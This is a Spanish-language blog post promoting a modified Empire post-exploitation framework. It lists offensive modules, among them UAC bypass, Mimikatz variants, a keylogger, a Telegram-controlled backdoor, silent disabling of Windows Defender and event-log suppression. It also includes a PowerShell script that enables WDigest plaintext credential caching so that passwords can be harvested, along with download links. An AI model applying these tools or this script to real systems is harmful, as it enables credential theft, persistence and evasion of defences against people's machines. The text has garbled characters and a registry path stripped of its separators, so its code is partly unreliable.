Mod de Empire con nuevos módulos

Mod de Empire con nuevos módulos

Seguro que ya conoc�is Empire, un agente de post-explotaci�n escrito en PowerShell y Python con una arquitectura muy flexible que trae varios m�dulos que van desde keyloggers hasta Mimikatz. Puede ejecutarse incluso sin powershell.exe y es capaz de cifrar sus comunicaciones y evadir NIDS, todo ello con un framework bastante f�cil de usar.

Luis Vacas (aka Cybervaca) lleva tiempo trabajando en un mod de Empire para Hackplayers al que ha a�adido nuevos e interesantes m�dulos:

• BypassUAC-HackPlayers-eventvwr.ps1   (BypassUAC using eventvwr working in Windows 7/8/10)
• Invoke-Mimikittenz  (Using Windows function ReadProcessMemory() in order to extract plain-text passwords)
• Invoke-Mimigatoz   (Variant of Mimikatz)
• Keylogger_selective   (Executes a keylogger selectively)
• PsBoTelegram   (Backdoor controlled from telegram)
• Execute-Url-Script   (Run scripts from a file in a url)
• Sherlock   (Find privilege escalation vulnerabilities)
• MS16-135   (Exploit privilege escalation MS16-135 x64 by b33f FuzzySecurity)
• Invoke-HostRecon   (Situational Awareness)
• Binder-4System   (Get System from service process)
• Invoke-Phant0m   (Stops threads from the svhost process to prevent it from logging events without stopping the service.)
• Set-WindowsDefender   (We can disabled and enabled Windows Defender silently)

Adem�s ha preparado un v�deo tutorial introductorio en el que muestra como instalar el mod desde el repositorio y utilizar alguno de sus m�dulos, para que ve�is lo f�cil y a la vez potente que resulta utilizarlos. �No os lo perd�is!:

Url del video: https://youtu.be/vp721ZhiQOo

Nota: cortes�a de Luis, os paso el script para a�adir el regkey que hay que crear para que funcione mimikitenz en Windows 10

param(
[string]$Activar="si"

)

$ErrorActionPreference = "SilentlyContinue"
if ($Activar -like "si" -or $args -like "Si") {$Activar="Si"} else {$Activar="No"} 

######################################################################################################################

$ruta_key = "HKLM:SYSTEMCurrentControlSetControlSecurityProvidersWDigest"
$key = "UseLogonCredential"
$check_exist_key = Test-Path $ruta_key
if ($check_exist_key -eq $null) {$check_exist_key = "False"}
$check_valor_key = Get-ItemProperty $ruta_key | Select-Object $key ; $check_valor_key = $check_valor_key.UseLogonCredential

######################################################################################################################


if ($Activar -eq "Si") { New-ItemProperty -Path $ruta_key -Name $key -Value "1" -PropertyType DWORD -Force| Out-Null; Write-Host "nnA�adida clave de registro, es necesario reiniciar." } 
if ($Activar -eq "No") {Remove-ItemProperty $ruta_key -Name $key  -Force | Out-Null ; "nnEliminada clave de registro, es necesario reiniciar."}

Proyecto GitHub: https://github.com/Hackplayers/Empire-mod-Hackplayers

download file now

download
alternative link download